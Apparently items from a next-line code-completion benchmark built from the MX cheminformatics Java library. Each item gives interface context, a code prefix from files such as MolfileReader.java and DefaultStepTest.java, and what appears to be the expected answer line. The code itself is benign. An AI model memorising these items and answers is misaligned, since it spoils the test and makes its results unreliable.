// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // }
import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.io.LineNumberReader; import java.io.StringReader; import java.io.IOException; import java.util.ArrayList;
createAtoms(mol, atomBlock, 5); createBonds(mol, bondBlock, 5 + atomCount); return 5 + atomCount + bondCount; } private void createAtoms(Molecule mol, String[] lines, int startLine) { for (int i = 0; i < lines.length; i++) { String line = MDLStringKit.padRight(lines[i], 69); try { createAtom(mol, line); } catch (Exception e) { throw new RuntimeException("Can't parse line " + (startLine + i) + " as atom.\n" + e.getLocalizedMessage() + "\n" + line, e); } } } private void createAtom(Molecule mol, String line) { float x = MDLStringKit.extractFloat(line, 0, 10); float y = MDLStringKit.extractFloat(line, 10, 20); float z = MDLStringKit.extractFloat(line, 20, 30); String symbol = MDLStringKit.extractString(line, 31, 34);
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/io/mdl/MolfileReader.java import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.io.LineNumberReader; import java.io.StringReader; import java.io.IOException; import java.util.ArrayList; createAtoms(mol, atomBlock, 5); createBonds(mol, bondBlock, 5 + atomCount); return 5 + atomCount + bondCount; } private void createAtoms(Molecule mol, String[] lines, int startLine) { for (int i = 0; i < lines.length; i++) { String line = MDLStringKit.padRight(lines[i], 69); try { createAtom(mol, line); } catch (Exception e) { throw new RuntimeException("Can't parse line " + (startLine + i) + " as atom.\n" + e.getLocalizedMessage() + "\n" + line, e); } } } private void createAtom(Molecule mol, String line) { float x = MDLStringKit.extractFloat(line, 0, 10); float y = MDLStringKit.extractFloat(line, 10, 20); float z = MDLStringKit.extractFloat(line, 20, 30); String symbol = MDLStringKit.extractString(line, 31, 34);
Atom atom = mol.addAtom(symbol, x, y, z);
metamolecular/mx
src/com/metamolecular/mx/io/mdl/MolfileReader.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // }
import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.io.LineNumberReader; import java.io.StringReader; import java.io.IOException; import java.util.ArrayList;
if ("M STY".equals(property)) { int entryCount = MDLStringKit.extractInt(line, 6, 9); for (int i = 0; i < entryCount; i++) { int offset = i * 8; int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13); String sgroupType = MDLStringKit.extractString(line, offset + 14, offset + 17); if (!"SUP".equals(sgroupType)) { throw new RuntimeException("Error parsing Substructure, only Superatom is supported."); } mol.addSuperatom(); } } else if ("M SLB".equals(property)) {// Ignore Identifier // int entryCount = MDLStringKit.extractInt(line, 6, 9); // for (int i = 0; i < entryCount; i++) // { // int offset = i * 8; // int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13); // int sgroupIdentifier = MDLStringKit.extractInt(line, offset + 14, offset + 17); // Substructure substructure = mol.getSubstructure(sgroupIndex-1); // } } else if ("M SAL".equals(property)) { int sgroupIndex = MDLStringKit.extractInt(line, 6, 10);
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/io/mdl/MolfileReader.java import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.io.LineNumberReader; import java.io.StringReader; import java.io.IOException; import java.util.ArrayList; if ("M STY".equals(property)) { int entryCount = MDLStringKit.extractInt(line, 6, 9); for (int i = 0; i < entryCount; i++) { int offset = i * 8; int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13); String sgroupType = MDLStringKit.extractString(line, offset + 14, offset + 17); if (!"SUP".equals(sgroupType)) { throw new RuntimeException("Error parsing Substructure, only Superatom is supported."); } mol.addSuperatom(); } } else if ("M SLB".equals(property)) {// Ignore Identifier // int entryCount = MDLStringKit.extractInt(line, 6, 9); // for (int i = 0; i < entryCount; i++) // { // int offset = i * 8; // int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13); // int sgroupIdentifier = MDLStringKit.extractInt(line, offset + 14, offset + 17); // Substructure substructure = mol.getSubstructure(sgroupIndex-1); // } } else if ("M SAL".equals(property)) { int sgroupIndex = MDLStringKit.extractInt(line, 6, 10);
Superatom substructure = mol.getSuperatom(sgroupIndex - 1);
metamolecular/mx
src/com/metamolecular/mx/map/State.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // }
import com.metamolecular.mx.query.*; import com.metamolecular.mx.model.Atom; import java.util.Map;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.map; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface State { /** * Returns the current mapping of query atoms onto target atoms. * This map is shared among all states obtained through nextState. * * @return the current mapping of query atoms onto target atoms */
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/map/State.java import com.metamolecular.mx.query.*; import com.metamolecular.mx.model.Atom; import java.util.Map; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.map; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public interface State { /** * Returns the current mapping of query atoms onto target atoms. * This map is shared among all states obtained through nextState. * * @return the current mapping of query atoms onto target atoms */
public Map<Node, Atom> getMap();
metamolecular/mx
src/com/metamolecular/mx/test/DefaultStepTest.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // }
import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.test; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class DefaultStepTest extends TestCase {
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // } // Path: src/com/metamolecular/mx/test/DefaultStepTest.java import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.test; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class DefaultStepTest extends TestCase {
private DefaultStep step;
metamolecular/mx
src/com/metamolecular/mx/test/DefaultStepTest.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // }
import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.test; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class DefaultStepTest extends TestCase { private DefaultStep step;
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> 